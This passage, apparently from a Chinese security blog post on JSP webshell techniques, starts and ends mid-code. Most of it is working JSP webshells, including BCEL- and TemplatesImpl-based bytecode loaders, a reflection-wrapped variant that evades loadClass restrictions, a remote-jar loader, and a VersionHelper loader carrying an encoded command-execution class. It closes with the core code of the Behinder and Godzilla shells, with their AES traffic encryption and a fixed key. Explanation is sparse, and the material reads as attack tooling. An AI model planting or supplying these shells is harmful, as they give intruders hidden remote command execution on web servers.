ABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg="); field.setAccessible(true); field.set(t, bytes); Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12]; field2.setAccessible(true); field2.set(t, TransformerFactoryImpl.newInstance()); Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3]; field3.setAccessible(true); field3.set(t, "threedr3am"); Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7]; field4.setAccessible(true); field4.set(t, new HashMap<>()); try { t.getOutputProperties(); } catch (Exception e) {} String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true)); response.getOutputStream().write(resutl.getBytes()); %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    BCEL字节码

    <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
    
    
    

    BCEL字节码的JSP Webshell

    <% String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A"; response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes()); %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    三梦师傅对BCEL类加载器进行包装后:

    <%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
    <%@ page import="java.io.ByteArrayInputStream" %>
    <%@ page import="java.lang.reflect.Array" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="java.net.URL" %>
    <%@ page import="java.security.Provider.Service" %>
    <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
    <%@ page import="java.util.Iterator" %>
    <%@ page import="java.util.List" %>
    <%@ page import="javax.activation.DataHandler" %>
    <%@ page import="javax.activation.DataSource" %>
    <%@ page import="javax.crypto.Cipher" %>
    <%@ page import="javax.crypto.CipherInputStream" %>
    <%@ page import="javax.crypto.CipherSpi" %>
    <%@ page import="jdk.nashorn.internal.objects.Global" %>
    <%@ page import="jdk.nashorn.internal.objects.NativeString" %>
    <%@ page import="jdk.nashorn.internal.runtime.Context" %>
    <%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
    <%@ page import="java.util.HashMap" %>
    <%@ page import="java.nio.file.Files" %>
    <%@ page import="java.io.File" %>
    <%@ page import="java.nio.file.Paths" %>
    
    
    

    BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

    <% String tmp = System.getProperty("java.io.tmpdir"); Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes()); Class serviceNameClass = Class .forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName"); Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class); serviceNameConstructor.setAccessible(true); Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null); Object serviceNameArray = Array.newInstance(serviceNameClass, 1); Array.set(serviceNameArray, 0, serviceName); Class lazyIteratorClass = Class .forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator"); Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1]; lazyIteratorConstructor.setAccessible(true); Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader()); Field namesField = lazyIteratorClass.getDeclaredField("names"); namesField.setAccessible(true); namesField.set(lazyIterator, serviceNameArray); Constructor cipherConstructor = Cipher.class .getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class, List.class); cipherConstructor.setAccessible(true); Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null); Field opmodeField = Cipher.class.getDeclaredField("opmode"); opmodeField.setAccessible(true); opmodeField.set(cipher, 1); Field initializedField = Cipher.class.getDeclaredField("initialized"); initializedField.setAccessible(true); initializedField.set(cipher, true); CipherInputStream cipherInputStream = new CipherInputStream( new ByteArrayInputStream(new byte[0]), cipher); Class xmlDataSourceClass = Class .forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"); Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0]; xmlDataSourceConstructor.setAccessible(true); DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor .newInstance("", cipherInputStream); DataHandler dataHandler = new DataHandler(xmlDataSource); Base64Data base64Data = new Base64Data(); Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler"); dataHandlerField.setAccessible(true); dataHandlerField.set(base64Data, dataHandler); Constructor NativeStringConstructor = NativeString.class .getDeclaredConstructor(CharSequence.class, Global.class); NativeStringConstructor.setAccessible(true); NativeString nativeString = (NativeString) NativeStringConstructor .newInstance(base64Data, new Global(new Context(new Options(""), null, null))); try { new HashMap<>().put(nativeString, "111"); } catch (Throwable e) { response.getOutputStream().write(e.getCause().getMessage().getBytes()); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86

    URLClassLoader远程加载

    <%@ page import="java.net.URL" %>
    <%@ page import="java.net.URLClassLoader" %>
    
    
    

    URLClassLoader加载远程jar的JSP Webshell

    <% response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes()); %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    三梦师傅利用 VersionHelper 包装后:

    <%@ page import="com.sun.naming.internal.VersionHelper" %>
    <%@ page import="java.io.File" %>
    <%@ page import="java.nio.file.Files" %>
    <%@ page import="java.nio.file.Paths" %>
    <%@ page import="java.util.Base64" %>
    
    
    

    VersionHelper包装的URLClassLoader类加载器的JSP WebShell

    <% String tmp = System.getProperty("java.io.tmpdir"); String jarPath = tmp + File.separator + "Evil16.class"; Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMRXZpbDE2OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQALRXZpbDE2LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAGRXZpbDE2BwBwDABxAHIBAAxFdmlsMTYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ")); response.getOutputStream().write( VersionHelper.getVersionHelper().loadClass("Evil16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes()); %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    流量加密

    冰蝎

    下面是冰蝎jsp马去掉加密功能后的内容,可以看到就是使用了上面所说的自定义类继承Classloader来动态加载字节码,进行newInstance实例化,调用该恶意对象的equals方法,并且传入pageContext实现命令执行的。

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
    
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        if (request.getParameter("pass") != null)
            new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    image-20220822203810315

    image-20220822203823737

    冰蝎2中通过动态密钥协商,每个cookie对应生成各自的密钥,进行流量加密

    image-20220822021342809

    if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
        request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
        out.print(k); //将密钥发送给客户端
        return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
    byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
    byte[] classData= c.doFinal(encryptedData);  //AES解密操作
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    冰蝎3中则是使用固定的密钥加密,去掉了协商过程(明文pass和返回的密钥),全密文传输

    image-20220822021544071

    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    
    • 1
    • 2
    • 3
    • 4
    • 5

    哥斯拉

    这里以v4.01的jsp马为例

    和冰蝎一样的类加载方法

    image-20220822162904827

    把AES、md5加密和base64加解密做了反射调用的函数封装

    image-20220822163035110

    主体部分就这么点

    <%
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
    
        try {
            byte[] data = base64Decode(request.getParameter(pass));
            data = x(data, false);
            if (session.getAttribute("payload") == null) {
                session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
            } else {
                request.setAttribute("parameters", data);
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(arrOut);
                f.equals(pageContext);
